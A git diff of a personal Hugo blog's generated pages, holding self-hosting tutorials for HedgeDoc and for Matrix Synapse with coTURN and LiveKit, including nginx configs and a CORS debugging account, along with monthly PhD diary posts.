    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +]]>
    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    Hello Worldhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/Mon, 25 Aug 2025 08:53:38 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/<p>This is a test hello world post just to make sure everything works!</p><p>This is a test hello world post just to make sure everything works!</p> +
    \ No newline at end of file diff --git a/public/page/1/index.html b/public/page/1/index.html new file mode 100644 index 0000000..3d49e7e --- /dev/null +++ b/public/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ + \ No newline at end of file diff --git a/public/page/2/index.html b/public/page/2/index.html new file mode 100644 index 0000000..dec3110 --- /dev/null +++ b/public/page/2/index.html @@ -0,0 +1,15 @@ +AlipourIm journeys +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +

    Hello World

    This is a test hello world post just to make sure everything works!

    August 25, 2025 · 1 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/phd_journey/augest_2025/index.html b/public/phd_journey/augest_2025/index.html new file mode 100644 index 0000000..c8b84b9 --- /dev/null +++ b/public/phd_journey/augest_2025/index.html @@ -0,0 +1,36 @@ +Augest '25 | AlipourIm journeys +

    Augest '25

    This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!

    Overall not the most productive month, but one reason for it is that I have’t really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead!

    My social life has been becoming better too. +I’ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I’m talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I’m really glad I was able to recover, though it was not easy at all, it did work out.

    I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout!

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/phd_journey/index.html b/public/phd_journey/index.html new file mode 100644 index 0000000..938a856 --- /dev/null +++ b/public/phd_journey/index.html @@ -0,0 +1,14 @@ +PhD_journeys | AlipourIm journeys +

    September '25

    I started the month by finalizing my draft for Conext Student workshop. Let’s cross our fingers and hope things work out and that it gets accepted. Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time. +I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. I visited my parents after 13 months(!), and also my brother after more than two years. We had so much fun! I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. What a delightful trip it was. I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. Now that my brother also has his greencard, we can travel together and see eachother more often too! +...

    September 30, 2025 · 2 min · Iman Alipour +

    Augest '25

    This month started with me setting up a deadline for Conext student workshop. I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. This darn thing wasted so much of my time! I did learn a bit along the way, but oh well. Such is life! +...

    August 31, 2025 · 2 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/phd_journey/index.xml b/public/phd_journey/index.xml new file mode 100644 index 0000000..526e5eb --- /dev/null +++ b/public/phd_journey/index.xml @@ -0,0 +1,57 @@ +PhD_journeys on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/Recent content in PhD_journeys on AlipourIm journeysHugo -- 0.146.0enTue, 30 Sep 2025 09:48:21 +0000September '25http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/Tue, 30 Sep 2025 09:48:21 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/<p>I started the month by finalizing my draft for Conext Student workshop. +Let&rsquo;s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I&rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.</p> +<p>I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!</p>I started the month by finalizing my draft for Conext Student workshop. +Let’s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time.

    +

    I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!

    +

    Surprise surprize, the notification did not come and it’s the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I’ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October… +Drat!

    +

    I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that’s been done so far.

    +

    My social life has been much more exciting too. +I’ve been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don’t have the courage to write about now. ;) +Buuuuuut… I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)

    +

    And with that, that’s my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story!

    +]]>
    Augest '25http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/Sun, 31 Aug 2025 07:49:24 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/<p>This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!</p>This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life!

    +

    Overall not the most productive month, but one reason for it is that I have’t really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead!

    +

    My social life has been becoming better too. +I’ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I’m talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I’m really glad I was able to recover, though it was not easy at all, it did work out.

    +

    I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout!

    +]]>
    \ No newline at end of file diff --git a/public/phd_journey/page/1/index.html b/public/phd_journey/page/1/index.html new file mode 100644 index 0000000..28d8ac7 --- /dev/null +++ b/public/phd_journey/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/ + \ No newline at end of file diff --git a/public/phd_journey/september_2025/index.html b/public/phd_journey/september_2025/index.html new file mode 100644 index 0000000..17bf62d --- /dev/null +++ b/public/phd_journey/september_2025/index.html @@ -0,0 +1,49 @@ +September '25 | AlipourIm journeys +

    September '25

    I started the month by finalizing my draft for Conext Student workshop. +Let’s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time.

    I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!

    Surprise surprize, the notification did not come and it’s the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I’ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October… +Drat!

    I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that’s been done so far.

    My social life has been much more exciting too. +I’ve been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don’t have the courage to write about now. ;) +Buuuuuut… I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)

    And with that, that’s my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story!

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/hedge_doc/index.html b/public/posts/hedge_doc/index.html new file mode 100644 index 0000000..b114626 --- /dev/null +++ b/public/posts/hedge_doc/index.html @@ -0,0 +1,108 @@ +Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt | AlipourIm journeys +

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc collaborative editing
    Collaborative Markdown editing with HedgeDoc

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.


    Prerequisites

    • A Linux server with Docker and Docker Compose
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • Nginx installed for reverse proxying
    • Certbot for Let’s Encrypt certificates

    1. Create the project directory

    mkdir ~/hedgedoc && cd ~/hedgedoc

    2. Create .env

    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir

    Generate a strong password with:

    openssl rand -base64 32

    3. Create docker-compose.yml

    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
